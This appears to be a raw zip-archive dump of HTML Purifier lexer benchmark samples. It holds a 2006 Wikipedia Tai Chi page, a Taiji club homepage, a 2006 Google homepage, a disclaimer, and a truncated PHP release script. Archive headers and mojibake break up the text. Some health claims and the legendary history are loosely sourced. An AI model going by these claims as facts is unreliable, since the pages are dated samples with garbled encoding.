<p>Along with <a href="/wiki/Yoga" title="Yoga">Yoga</a>, it is one of the fastest growing fitness and health maintenance activities, in terms of numbers of students enrolling in classes. Since there is no universal certification process and most Westerners haven't seen very much T'ai Chi and don't know what to look for, practically anyone can learn or even make up a few moves and call themselves a teacher. This is especially prevalent in the <a href="/wiki/New_Age" title="New Age">New Age</a> community. Relatively few of these teachers even know that there are martial applications to the T'ai Chi forms. Those who do know that it is a martial art usually don't teach martially themselves. If they do teach self-defense, it is often a mixture of motions which the teachers think look like T'ai Chi Ch'�an with some other system. This is especially evident in schools located outside of China. While this phenomenon may have made some external aspects of T'ai Chi available for a wider audience, the traditional T'ai Chi family schools see the martial focus as a fundamental part of their training, both for health <i>and</i> self-defense purposes. They claim that while the students may not need to practice martial applications themselves to derive a benefit from T'ai Chi training, they assert that T'ai Chi teachers at least should know the martial applications to ensure that the movements they teach are done correctly and safely by their students. Also, working on the ability to protect oneself from physical attack (one of the most stressful things that can happen to a person) certainly falls under the category of complete "health maintenance." For these reasons they claim that a school not teaching those aspects somewhere in their syllabus cannot be said to be actually teaching the art itself, and will be much less likely to be able to reproduce the full health benefits that made T'ai Chi's reputation in the first place.</p>
<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&action=edit&section=7" title="Edit section: Modern forms">edit</a>]</div>
<p><a name="Modern_forms" id="Modern_forms"></a></p>
<h3>Modern forms</h3>
<div class="thumb tright">
<div style="width:352px;"><a href="/wiki/Image:Tai_Chi_fans.jpg" class="internal" title="Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA)."><img src="http://upload.wikimedia.org/wikipedia/en/thumb/a/ad/Tai_Chi_fans.jpg/350px-Tai_Chi_fans.jpg" alt="Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA)." width="350" height="201" longdesc="/wiki/Image:Tai_Chi_fans.jpg" /></a>
<div class="thumbcaption">
<div class="magnify" style="float:right"><a href="/wiki/Image:Tai_Chi_fans.jpg" class="internal" title="Enlarge"><img src="/skins-1.5/common/images/magnify-clip.png" width="15" height="11" alt="Enlarge" /></a></div>
Women practicing non-martial T'ai Chi in <a href="/wiki/Chinatown_%28Manhattan%29" title="Chinatown (Manhattan)">Chinatown</a> (<a href="/wiki/New_York_City" title="New York City">New York City</a>, <a href="/wiki/New_York" title="New York">New York</a>, <a href="/wiki/USA" title="USA">USA</a>).</div>
</div>
</div>
<p>In order to standardize T'ai Chi Ch'�an for wushu tournament judging, and because many of the family T'ai Chi Ch'�an teachers had either moved out of China or had been forced to stop teaching after the <a href="/wiki/Chinese_Civil_War" title="Chinese Civil War">Communist regime was established</a> in <a href="/wiki/1949" title="1949">1949</a>, the government sponsored Chinese Sports Committee brought together four of their wushu teachers to truncate the Yang family hand form to <a href="/wiki/24_Form_%28Simplified_Form%29_T%27ai_Chi_Ch%27uan" title="24 Form (Simplified Form) T'ai Chi Ch'uan">24 postures</a> in <a href="/wiki/1956" title="1956">1956</a>. They wanted to somehow retain the look of T'ai Chi Ch'�an but make an easy to remember routine that was less difficult to teach and much less difficult to learn than longer (generally 88 to 108 posture) classical solo hand forms. In <a href="/wiki/1976" title="1976">1976</a>, they developed a slightly longer form also for the purposes of demonstration that still didn't involve the complete memory, balance and coordination requirements of the traditional forms. This was a combination form, the <i>Combined 48 Forms</i> that were created by three wushu coaches headed by Professor Men Hui Feng. The combined forms were created based on simplifying and combining some features of the classical forms from four of the original styles; Ch'en, Yang, Wu, and Sun. Even though shorter modern forms don't have the conditioning benefits of the classical forms, the idea was to take what they felt were distinctive cosmetic features of these styles and to express them in a shorter time for purposes of competition.</p>
<p>As T'ai Chi again became popular on the Mainland, competitive forms were developed to be completed within a 6 minute time limit. In the late <a href="/wiki/1980s" title="1980s">1980s</a>, the Chinese Sports Committee standardized many different competition forms. It had developed sets said to represent the four major styles as well as combined forms. These five sets of forms were created by different teams, and later approved by a committee of wushu coaches in China. All sets of forms thus created were named after their style, e.g., the Ch'en Style National Competition Form is the <i>56 Forms</i>, and so on. The combined forms are <i>The 42 Form</i> or simply the <i>Competition Form</i>, as it is known in China. In the 11th <a href="/wiki/Asian_Games" title="Asian Games">Asian Games</a> of <a href="/wiki/1990" title="1990">1990</a>, wushu was included as an item for competition for the first time with the 42 Form being chosen to represent T'ai Chi. The International Wushu Federation (<a href="/w/index.php?title=IWUF&action=edit" class="new" title="IWUF">IWUF</a>) has applied for wushu to be part of the <a href="/wiki/Olympic_games" title="Olympic games">Olympic games</a>. If accepted, it is likely that T'ai Chi and wushu will be represented as demonstration events in <a href="/wiki/2008" title="2008">2008</a>.</p>
<p>Representatives of the original T'ai Chi families do not teach the forms developed by the Chinese Sports Committee. T'ai Chi Ch'�an has historically been seen by them as a martial art, not a sport, with competitions mostly entered as a hobby or to promote one's school publicly, but with little bearing on measuring actual accomplishment in the art. Their criticisms of modern forms include that the modern, "government" routines have no standardized, internally consistent training requirements. Also, that people studying competition forms rarely train pushing hands or other power generation trainings vital to learning the martial applications of T'ai Chi Ch'�an and thereby lack the <a href="/wiki/Quality_control" title="Quality control">quality control</a> traditional teachers maintain is essential for achieving the full benefits from both the health and the martial aspect of traditional T'ai Chi training.</p>
<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&action=edit&section=8" title="Edit section: Health benefits">edit</a>]</div>
<p><a name="Health_benefits" id="Health_benefits"></a></p>
<h2>Health benefits</h2>
<p>Researchers have found that long-term T'ai Chi practice had favorable effects on the promotion of balance control, flexibility and cardiovascular fitness and reduced the risk of falls in elders. The studies also reported reduced pain, stress and anxiety in healthy subjects. Other studies have indicated improved cardiovascular and respiratory function in healthy subjects as well as those who had undergone coronary artery bypass surgery. Patients also benefited from T'ai Chi who suffered from heart failure, high blood pressure, heart attacks, arthritis and multiple sclerosis.</p>
<p>T'ai Chi has also been shown to reduce the symptoms of young Attention Deficit and Hyperactivity Disorder (<a href="/wiki/ADHD" title="ADHD">ADHD</a>) sufferers. T'ai Chi's gentle, low impact, movements surprisingly burn more calories than surfing and nearly as many as downhill skiing. T'ai Chi also boosts aspects of the immune system's function very significantly, and has been shown to reduce the incidence of anxiety, depression, and overall mood disturbance. (See research citations listed below.)</p>
<p>A pilot study has found evidence that T'ai Chi and related qigong helps reduce the severity of <a href="/wiki/Diabetes" title="Diabetes">diabetes</a>.<a href="http://www.abc.net.au/pm/content/2005/s1535304.htm" class="external autonumber" title="http://www.abc.net.au/pm/content/2005/s1535304.htm">[1]</a></p>
<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&action=edit&section=9" title="Edit section: Citations to medical research">edit</a>]</div>
<p><a name="Citations_to_medical_research" id="Citations_to_medical_research"></a></p>
<h3>Citations to medical research</h3>
<ul>
<li>Wolf SL, Sattin RW, Kutner M. Intense T'ai Chi exercise training and fall occurrences in older, transitionally frail adults: a randomized, controlled trial. J Am Geriatr Soc. 2003 Dec; 51(12): 1693-701. <a href="http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&db=pubmed&dopt=Abstract&list_uids=14687346" class="external" title="http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&db=pubmed&dopt=Abstract&list_uids=14687346">PMID 14687346</a></li>
<li>Wang C, Collet JP, Lau J. The effect of Tai Chi on health outcomes in patients with chronic conditions: a <a href="/wiki/Systematic_review" title="Systematic review">systematic review</a>. Arch Intern Med. 2004 Mar 8;164(5):493-501. <a href="http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&db=pubmed&dopt=Abstract&list_uids=15006825" class="external" title="http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&db=pubmed&dopt=Abstract&list_uids=15006825">PMID 15006825</a></li>
<li>Search a listing of articles relating to the FICSIT trials and T'ai Chi <a href="http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Select+from+History&db=pubmed&query_key=3" class="external autonumber" title="http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Select+from+History&db=pubmed&query_key=3">[2]</a></li>
<li>Hernandez-Reif, M., Field, T.M., & Thimas, E. (2001). Attention deficit hyperactivity disorder: benefits from Tai Chi. Journal of Bodywork & Movement Therapies, 5(2):120-3, 2001 Apr, 5(23 ref), 120-123</li>
<li>Calorie Burning Chart <a href="http://www.nutristrategy.com/activitylist3.htm" class="external autonumber" title="http://www.nutristrategy.com/activitylist3.htm">[3]</a></li>
<li>Tai Chi boosts T-Cell counts in immune system <a href="http://www.acupuncturetoday.com/archives2003/nov/11taichi.html" class="external autonumber" title="http://www.acupuncturetoday.com/archives2003/nov/11taichi.html">[4]</a></li>
<li>Tai Chi, depression, anxiety, and mood disturbance (American Psychological Association) Journal of Psychosomatic Research, 1989 Vol 33 (2) 197-206</li>
<li>A comprehensive listing of Tai Chi medical research links <a href="http://www.worldtaichiday.org/WTCQDHlthBenft.html" class="external autonumber" title="http://www.worldtaichiday.org/WTCQDHlthBenft.html">[5]</a></li>
<li>References to medical publications <a href="http://www.worldtaichiday.org/HeadlineNews.html" class="external autonumber" title="http://www.worldtaichiday.org/HeadlineNews.html">[6]</a></li>
<li><a href="http://www.abc.net.au/pm/content/2005/s1535304.htm" class="external text" title="http://www.abc.net.au/pm/content/2005/s1535304.htm">Tai Chi a promising remedy for diabetes</a>, <i>Australian Broadcasting Corporation</i>, 20 December, 2005 - Pilot study of Qigong and tai chi in diabetes sufferers.</li>
<li>Health Research Articles on "Tai Chi as Health Therapy" for many issues, i.e. ADHD, Cardiac Health & Rehabilitation, Diabetes, High Blood Pressure, Menopause, Bone Loss, Weight Loss, etc.<a href="http://www.worldtaichiday.org/LIBRARYArticles/LIBRARYTaiChiArticlesMenu.html" class="external autonumber" title="http://www.worldtaichiday.org/LIBRARYArticles/LIBRARYTaiChiArticlesMenu.html">[7]</a></li>
</ul>
<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&action=edit&section=10" title="Edit section: See also">edit</a>]</div>
<p><a name="See_also" id="See_also"></a></p>
<h2>See also</h2>
<ul>
<li><a href="/wiki/Jing_%28TCM%29" title="Jing (TCM)">Jing</a></li>
<li><a href="/wiki/List_of_Tai_Chi_Chuan_forms" title="List of Tai Chi Chuan forms">List of Tai Chi Chuan forms</a></li>
<li><a href="/wiki/Nei_Jin" title="Nei Jin">nei chin</a></li>
<li><a href="/wiki/Silk_reeling" title="Silk reeling">Silk reeling</a></li>
<li><a href="/wiki/World_Tai_Chi_and_Qigong_Day" title="World Tai Chi and Qigong Day">World Tai Chi and Qigong Day</a></li>
</ul>
<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&action=edit&section=11" title="Edit section: External links">edit</a>]</div>
<p><a name="External_links" id="External_links"></a></p>
<h2>External links</h2>
<ul>
<li><a href="http://www.chenxiaowang.com/" class="external text" title="http://www.chenxiaowang.com/">A Chen Family Website</a></li>
<li><a href="http://www.yangfamilytaichi.com/" class="external text" title="http://www.yangfamilytaichi.com/">Yang Family Website</a></li>
<li><a href="http://www.wustyle.com/" class="external text" title="http://www.wustyle.com/">Wu Chien-ch'�an Family Website</a></li>
<li><a href="http://www.fushengyuan-taichi.com.au/" class="external text" title="http://www.fushengyuan-taichi.com.au/">Fu Family Website</a></li>
<li><a href="http://www.itcca.org/" class="external text" title="http://www.itcca.org/">Yang family disciple's website (ITCCA)</a></li>
<li><a href="http://www.dongtaichi.com/" class="external text" title="http://www.dongtaichi.com/">Dong T'ai Chi</a></li>
<li><a href="http://www.leefamilystyle.com/" class="external text" title="http://www.leefamilystyle.com/">UK website for Li style, popular in Europe</a></li>
<li><a href="http://www.chen-taiji.com/mambo/" class="external text" title="http://www.chen-taiji.com/mambo/">The World of Taijiquan</a></li>
<li><a href="http://www.scheele.org/lee/tcclinks.html" class="external text" title="http://www.scheele.org/lee/tcclinks.html">Lee Scheele's Links to T'ai Chi Ch'uan Web Sites</a></li>
<li><a href="http://news.bbc.co.uk/1/hi/health/3543907.stm" class="external text" title="http://news.bbc.co.uk/1/hi/health/3543907.stm">BBC article</a></li>
<li><a href="http://www.acupuncturetoday.com/archives2004/jul/07taichi.html" class="external text" title="http://www.acupuncturetoday.com/archives2004/jul/07taichi.html">Tai Chi: Good for the Mind, Good for the Body</a></li>
<li><a href="http://www.taichiunion.com/" class="external text" title="http://www.taichiunion.com/">Tai Chi Chuan Union for Great Britian: The largest collective of independent Tai Chi Chuan Instructors in the British Isles</a></li>
</ul>
<!-- Saved in parser cache with key enwiki:pcache:idhash:30690-0!0!0!1!!en!2 and timestamp 20060722121412 -->
<div class="printfooter">
Retrieved from "<a href="http://en.wikipedia.org/wiki/Tai_Chi_Chuan">http://en.wikipedia.org/wiki/Tai_Chi_Chuan</a>"</div>
<div id="catlinks"><p class='catlinks'><a href="/w/index.php?title=Special:Categories&article=Tai_Chi_Chuan" title="Special:Categories">Categories</a>: <span dir='ltr'><a href="/wiki/Category:Chinese_martial_arts" title="Category:Chinese martial arts">Chinese martial arts</a></span> | <span dir='ltr'><a href="/wiki/Category:T%27ai_Chi_Ch%27uan" title="Category:T'ai Chi Ch'uan">T'ai Chi Ch'uan</a></span> | <span dir='ltr'><a href="/wiki/Category:Taoism" title="Category:Taoism">Taoism</a></span> | <span dir='ltr'><a href="/wiki/Category:Meditation" title="Category:Meditation">Meditation</a></span> | <span dir='ltr'><a href="/wiki/Category:Mind-body_interventions" title="Category:Mind-body interventions">Mind-body interventions</a></span> | <span dir='ltr'><a href="/wiki/Category:Traditional_Chinese_medicine" title="Category:Traditional Chinese medicine">Traditional Chinese medicine</a></span></p></div> <!-- end content -->
<div class="visualClear"></div>
</div>
</div>
</div>
<div id="column-one">
<div id="p-cactions" class="portlet">
<h5>Views</h5>
<ul>
<li id="ca-nstab-main" class="selected"><a href="/wiki/Tai_Chi_Chuan">Article</a></li>
<li id="ca-talk"><a href="/wiki/Talk:Tai_Chi_Chuan">Discussion</a></li>
<li id="ca-edit"><a href="/w/index.php?title=Tai_Chi_Chuan&action=edit">Edit this page</a></li>
<li id="ca-history"><a href="/w/index.php?title=Tai_Chi_Chuan&action=history">History</a></li>
<li id="ca-protect"><a href="/w/index.php?title=Tai_Chi_Chuan&action=protect">Protect</a></li>
<li id="ca-delete"><a href="/w/index.php?title=Tai_Chi_Chuan&action=delete">Delete</a></li>
<li id="ca-move"><a href="/w/index.php?title=Special:Movepage&target=Tai_Chi_Chuan">Move</a></li>
<li id="ca-unwatch"><a href="/w/index.php?title=Tai_Chi_Chuan&action=unwatch">Unwatch</a></li>
</ul>
</div>
<div class="portlet" id="p-personal">
<h5>Personal tools</h5>
<div class="pBody">
<ul>
<li id="pt-userpage"><a href="/wiki/User:Edward_Z._Yang">Edward Z. Yang</a></li>
<li id="pt-mytalk"><a href="/wiki/User_talk:Edward_Z._Yang">My talk</a></li>
<li id="pt-preferences"><a href="/wiki/Special:Preferences">My preferences</a></li>
<li id="pt-watchlist"><a href="/wiki/Special:Watchlist">My watchlist</a></li>
<li id="pt-mycontris"><a href="/wiki/Special:Contributions/Edward_Z._Yang">My contributions</a></li>
<li id="pt-logout"><a href="/w/index.php?title=Special:Userlogout&returnto=Tai_Chi_Chuan">Log out</a></li>
</ul>
</div>
</div>
<div class="portlet" id="p-logo">
<a style="background-image: url(/images/wiki-en.png);" href="/wiki/Main_Page" title="Main Page"></a>
</div>
<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
<div class='portlet' id='p-navigation'>
<h5>Navigation</h5>
<div class='pBody'>
<ul>
<li id="n-mainpage"><a href="/wiki/Main_Page">Main Page</a></li>
<li id="n-portal"><a href="/wiki/Wikipedia:Community_Portal">Community Portal</a></li>
<li id="n-Featured-articles"><a href="/wiki/Wikipedia:Featured_articles">Featured articles</a></li>
<li id="n-currentevents"><a href="/wiki/Portal:Current_events">Current events</a></li>
<li id="n-recentchanges"><a href="/wiki/Special:Recentchanges">Recent changes</a></li>
<li id="n-randompage"><a href="/wiki/Special:Random">Random article</a></li>
<li id="n-help"><a href="/wiki/Help:Contents">Help</a></li>
<li id="n-contact"><a href="/wiki/Wikipedia:Contact_us">Contact Wikipedia</a></li>
<li id="n-sitesupport"><a href="http://wikimediafoundation.org/wiki/Fundraising#Donation_methods">Donations</a></li>
</ul>
</div>
</div>
<div id="p-search" class="portlet">
<h5><label for="searchInput">Search</label></h5>
<div id="searchBody" class="pBody">
<form action="/wiki/Special:Search" id="searchform"><div>
<input id="searchInput" name="search" type="text" accesskey="f" value="" />
<input type='submit' name="go" class="searchButton" id="searchGoButton" value="Go" />
<input type='submit' name="fulltext" class="searchButton" value="Search" />
</div></form>
</div>
</div>
<div class="portlet" id="p-tb">
<h5>Toolbox</h5>
<div class="pBody">
<ul>
<li id="t-whatlinkshere"><a href="/w/index.php?title=Special:Whatlinkshere&target=Tai_Chi_Chuan">What links here</a></li>
<li id="t-recentchangeslinked"><a href="/w/index.php?title=Special:Recentchangeslinked&target=Tai_Chi_Chuan">Related changes</a></li>
<li id="t-upload"><a href="/wiki/Special:Upload">Upload file</a></li>
<li id="t-specialpages"><a href="/wiki/Special:Specialpages">Special pages</a></li>
<li id="t-print"><a href="/w/index.php?title=Tai_Chi_Chuan&printable=yes">Printable version</a></li> <li id="t-permalink"><a href="/w/index.php?title=Tai_Chi_Chuan&oldid=65197836">Permanent link</a></li><li id="t-cite"><a href="/w/index.php?title=Special:Cite&page=Tai_Chi_Chuan&id=65197836">Cite this article</a></li> </ul>
</div>
</div>
<div id="p-lang" class="portlet">
<h5>In other languages</h5>
<div class="pBody">
<ul>
<li class="interwiki-br"><a href="http://br.wikipedia.org/wiki/Taichichuan">Brezhoneg</a></li>
<li class="interwiki-ca"><a href="http://ca.wikipedia.org/wiki/Tai_txi_txuan">Catal�</a></li>
<li class="interwiki-cs"><a href="http://cs.wikipedia.org/wiki/Tchaj-%C5%A5i">Cesky</a></li>
<li class="interwiki-da"><a href="http://da.wikipedia.org/wiki/Tai_Chi">Dansk</a></li>
<li class="interwiki-de"><a href="http://de.wikipedia.org/wiki/Taijiquan">Deutsch</a></li>
<li class="interwiki-et"><a href="http://et.wikipedia.org/wiki/Taijiquan">Eesti</a></li>
<li class="interwiki-el"><a href="http://el.wikipedia.org/wiki/%CE%A4%CE%AC%CE%B9_%CE%A4%CE%B6%CE%AF_%CE%A3%CE%BF%CF%85%CE%AC%CE%BD">????????</a></li>
<li class="interwiki-es"><a href="http://es.wikipedia.org/wiki/Tai_Chi_Chuan">Espa�ol</a></li>
<li class="interwiki-eo"><a href="http://eo.wikipedia.org/wiki/Taj%C4%9Di%C4%89uano">Esperanto</a></li>
<li class="interwiki-fr"><a href="http://fr.wikipedia.org/wiki/Tai-chi-chuan">Fran�ais</a></li>
<li class="interwiki-it"><a href="http://it.wikipedia.org/wiki/Taijiquan">Italiano</a></li>
<li class="interwiki-he"><a href="http://he.wikipedia.org/wiki/%D7%98%D7%90%D7%99_%D7%A6%27%D7%99">?????</a></li>
<li class="interwiki-hu"><a href="http://hu.wikipedia.org/wiki/Taijiquan">Magyar</a></li>
<li class="interwiki-nl"><a href="http://nl.wikipedia.org/wiki/Tai_Chi">Nederlands</a></li>
<li class="interwiki-ja"><a href="http://ja.wikipedia.org/wiki/%E5%A4%AA%E6%A5%B5%E6%8B%B3">???</a></li>
<li class="interwiki-pl"><a href="http://pl.wikipedia.org/wiki/Taijiquan">Polski</a></li>
<li class="interwiki-pt"><a href="http://pt.wikipedia.org/wiki/Tai_Chi_Chuan">Portugu�s</a></li>
<li class="interwiki-ro"><a href="http://ro.wikipedia.org/wiki/Taijiquan">Rom�na</a></li>
<li class="interwiki-ru"><a href="http://ru.wikipedia.org/wiki/%D0%A2%D0%B0%D0%B9%D1%86%D0%B7%D0%B8%D1%86%D1%8E%D0%B0%D0%BD%D1%8C">???????</a></li>
<li class="interwiki-fi"><a href="http://fi.wikipedia.org/wiki/Taijiquan">Suomi</a></li>
<li class="interwiki-sv"><a href="http://sv.wikipedia.org/wiki/Taijiquan">Svenska</a></li>
<li class="interwiki-th"><a href="http://th.wikipedia.org/wiki/%E0%B9%84%E0%B8%97%E0%B9%88%E0%B9%80%E0%B8%81%E0%B9%8A%E0%B8%81">???</a></li>
<li class="interwiki-tr"><a href="http://tr.wikipedia.org/wiki/Tai-Chi_Chuan">T�rk�e</a></li>
<li class="interwiki-zh"><a href="http://zh.wikipedia.org/wiki/%E5%A4%AA%E6%9E%81%E6%8B%B3">??</a></li>
</ul>
</div>
</div>
</div><!-- end of the left (by default at least) column -->
<div class="visualClear"></div>
<div id="footer">
<div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="/skins-1.5/common/images/poweredby_mediawiki_88x31.png" alt="MediaWiki" /></a></div>
<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="/images/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>
<ul id="f-list">
<li id="lastmod"> This page was last modified 03:15, July 22, 2006.</li>
<li id="copyright">All text is available under the terms of the <a class='internal' href="/wiki/Wikipedia:Text_of_the_GNU_Free_Documentation_License" title="Wikipedia:Text of the GNU Free Documentation License">GNU Free Documentation License</a>. (See <b><a class='internal' href="/wiki/Wikipedia:Copyrights" title="Wikipedia:Copyrights">Copyrights</a></b> for details.) <br /> Wikipedia® is a registered trademark of the Wikimedia Foundation, Inc.<br /></li>
<li id="privacy"><a href="http://wikimediafoundation.org/wiki/Privacy_policy" title="wikimedia:Privacy policy">Privacy policy</a></li>
<li id="about"><a href="/wiki/Wikipedia:About" title="Wikipedia:About">About Wikipedia</a></li>
<li id="disclaimer"><a href="/wiki/Wikipedia:General_disclaimer" title="Wikipedia:General disclaimer">Disclaimers</a></li>
</ul>
</div>
<script type="text/javascript"> if (window.runOnloadHook) runOnloadHook();</script>
</div>
<!-- Served by srv25 in 0.089 secs. -->
</body></html>
<!-- vim: et sw=4 sts=4
-->
PK j�$ZXS�UA A , htmlpurifier/benchmarks/samples/Lexer/1.htmlnu �[��� <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Main Page - Huaxia Taiji Club</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" media="screen, projection" href="/screen.css" />
<link rel="stylesheet" type="text/css" media="print" href="/print.css" />
</head>
<body>
<div id="translation"><a href="/ch/Main_Page">中文</a></div>
<div id="heading"><a href="/en/Main_Page" title="English Main Page">Huaxia Taiji Club</a>
<a class="heading_ch" href="/ch/Main_Page" title="中文主页">华夏太极俱乐部</a></div>
<ul id="menu">
<li><a href="/en/Main_Page" class="active">Main Page</a></li><li><a href="/en/About">About</a></li><li><a href="/en/News">News</a></li><li><a href="/en/Events">Events</a></li><li><a href="/en/Digest">Digest</a></li><li><a href="/en/Taiji_and_I">Taiji and I</a></li><li><a href="/en/Downloads">Downloads</a></li><li><a href="/en/Registration">Registration</a></li><li><a href="/en/Contact">Contact</a></li> <li><a href="http://www.taijiclub.org/gallery2/main.php">Gallery</a></li>
<li><a href="http://www.taijiclub.org/forums/index.php">Forums</a></li>
</ul>
<div id="content">
<h1 id="title">Main Page</h1><h2>Taiji (Tai Chi) </h2>
<div id="sidebar">
<h3>Recent News</h3>
<ul>
<li>Zou Xiaojun was elected as the new club vice president </li>
<li>HX Edison Taiji Club <a href="http://www.taijiclub.org/downloads/Taiji_club_regulation_.pdf">by-law</a> effective 3/28/2006</li>
<li>A new email account for our club: HXEdisontaijiclub@yahoo.com</li>
<li>Workshop conducted by <a href="http://www.taijiclub.org/ch/Digest/LiDeyin">?????</a> Li Deyin is set on June 4, 2006 at Clarion Hotel in Edison from 9:30am-12pm; <a href="http://www.taijiclub.org/en/Registration">Registration</a></li>
</ul>
</div>
<p><i>Taiji</i> is an ancient Chinese tradition of movement systems that is associated with philosophy, physiology, psychology, geometry and dynamics. It is the slowest form of martial arts and is meant to improve the internal spirit. It is soothing to the soul and extremely invigorating. </p>
<p>The founder of Taiji was Zhang Sanfeng (Chang San-feng), who was a monk of the Wu Dang (Wu Tang) Monastery and lived in the period from 1391 to 1459. His exercises stressed suppleness and elasticity as opposed to the hardness and force of other martial art styles. Several centuries old, Taiji was originally developed as a form of self-defense, emphasizing strength, balance, flexibility and speed. Tai Chi also differs from other martial arts in that it is based on the Taoist religion and aims to avoid aggressive forces. </p>
<p>Modern Taiji includes many forms — Quan, Sword and Fan. Impacting the mind and body of the practitioners, Taiji is practiced as a meditative exercise made up of a series of forms, or choreographed motions, requiring slow, gentle movement of the arms, legs and torso. Taiji practitioners learn to center their attention on their breathing and body movements so that the exercise strengthens their overall mental and physical awareness. In a sense, Taiji is similar to yoga in that it is also a form of moving meditation, with the goal of achieving stillness through the motion and awareness of breath. To perform Taiji, practitioners have to empty their mind of thoughts and worries in order to achieve harmony. It is a great aid for reducing stress and improving the quality of life. </p>
<p>In China and in communities all over the world, Taiji is practiced by young and old in the early morning hours. It's a great way to bring a new and fresh day!</p>
<p>Check out our <a href="/gallery2/main.php">gallery</a>.</p>
<div style="text-align:center;"><a href="http://www.taijiclub.org/gallery2/v/2006/group1b.jpg.html?g2_imageViewsIndex=1"><img src="/gallery2/d/1836-2/group1b.jpg" /></a></div>
<div style="text-align:center;">Click on photo to see HR version</div></div>
</body>
</html>
<!-- vim: et sw=4 sts=4
-->
PK j�$Z
��.� � , htmlpurifier/benchmarks/samples/Lexer/2.htmlnu �[��� <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Google</title><style><!--
body,td,a,p,.h{font-family:arial,sans-serif;}
.h{font-size: 20px;}
.q{color:#0000cc;}
//-->
</style>
<script>
<!--
function sf(){document.f.q.focus();}
function rwt(el,ct,cd,sg){var e = window.encodeURIComponent ? encodeURIComponent : escape;el.href="/url?sa=t&ct="+e(ct)+"&cd="+e(cd)+"&url="+e(el.href).replace(/\+/g,"%2B")+"&ei=fHNBRJDEG4HSaLONmIoP"+sg;el.onmousedown="";return true;}
// -->
</script>
</head><body bgcolor=#ffffff text=#000000 link=#0000cc vlink=#551a8b alink=#ff0000 onLoad=sf() topmargin=3 marginheight=3><center><table border=0 cellspacing=0 cellpadding=0 width=100%><tr><td align=right nowrap><font size=-1><b>edwardzyang@gmail.com</b> | <a href="/url?sa=p&pref=ig&pval=2&q=http://www.google.com/ig%3Fhl%3Den" onmousedown="return rwt(this,'pro','hppphou:def','&sig2=hDbTpsWIp9YG37a23n6krQ')">Personalized Home</a> | <a href="/searchhistory/?hl=en">Search History</a> | <a href="https://www.google.com/accounts/ManageAccount">My Account</a> | <a href="http://www.google.com/accounts/Logout?continue=http://www.google.com/">Sign out</a></font></td></tr><tr height=4><td><img alt="" width=1 height=1></td></tr></table><img src="/intl/en/images/logo.gif" width=276 height=110 alt="Google"><br><br>
<form action=/search name=f><script><!--
function qs(el) {if (window.RegExp && window.encodeURIComponent) {var ue=el.href;var qe=encodeURIComponent(document.f.q.value);if(ue.indexOf("q=")!=-1){el.href=ue.replace(new RegExp("q=[^&$]*"),"q="+qe);}else{el.href=ue+"&q="+qe;}}return 1;}
// -->
</script><table border=0 cellspacing=0 cellpadding=4><tr><td nowrap><font size=-1><b>Web</b> <a id=1a class=q href="/imghp?hl=en&tab=wi" onClick="return qs(this);">Images</a> <a id=2a class=q href="http://groups.google.com/grphp?hl=en&tab=wg" onClick="return qs(this);">Groups</a> <a id=4a class=q href="http://news.google.com/nwshp?hl=en&tab=wn" onClick="return qs(this);">News</a> <a id=5a class=q href="http://froogle.google.com/frghp?hl=en&tab=wf" onClick="return qs(this);">Froogle</a> <a id=8a class=q href="/lochp?hl=en&tab=wl" onClick="return qs(this);">Local</a> <b><a href="/intl/en/options/" class=q>more »</a></b></font></td></tr></table><table cellspacing=0 cellpadding=0><tr><td width=25%> </td><td align=center><input type=hidden name=hl value=en><input maxlength=2048 size=55 name=q value="" title="Google Search"><br><input type=submit value="Google Search" name=btnG><input type=submit value="I'm Feeling Lucky" name=btnI></td><td valign=top nowrap width=25%><font size=-2> <a href=/advanced_search?hl=en>Advanced Search</a><br> <a href=/preferences?hl=en>Preferences</a><br> <a href=/language_tools?hl=en>Language Tools</a></font></td></tr></table></form><br><br><font size=-1><a href="/ads/">Advertising Programs</a> - <a href=/services/>Business Solutions</a> - <a href=/about.html>About Google</a></font><p><font size=-2>©2006 Google</font></p></center></body></html>
<!-- vim: et sw=4 sts=4
-->
PK j�$Z�#�:� � 4 htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txtnu �[��� Disclaimer:
The HTML used in these samples are taken from random websites. I claim
no copyright over these and assert that I may use them like this under
fair use.
vim: et sw=4 sts=4
PK j�$Z]W )n
n
htmlpurifier/release1-update.phpnu �[��� <?php
// release script
// PHP 5.0 only
if (php_sapi_name() != 'cli') {
echo 'Release script cannot be called from web-browser.';
exit;
}
if (!isset($argv[1])) {
echo
'php release.php [version]
HTML Purifier release script
';
exit;
}
$version = trim($argv[1]);
// Bump version numbers:
// ...in VERSION
file_put_contents('VERSION', $version);
// ...in NEWS
if ($is_dev = (strpos($version, 'dev') === false)) {
$date = date('Y-m-d');
$news_c = str_replace(
$l = "$version, unknown release date",
"$version, released $date",
file_get_contents('NEWS'),
$c
);
if (!$c) {
echo 'Could not update NEWS, missing ' . $l . PHP_EOL;
exit;
} elseif ($c > 1) {
echo 'More than one release declaration in NEWS replaced' . PHP_EOL;
exit;
}
file_put_contents('NEWS', $news_c);
}
// ...in Doxyfile
$doxyfile_c = preg_replace(
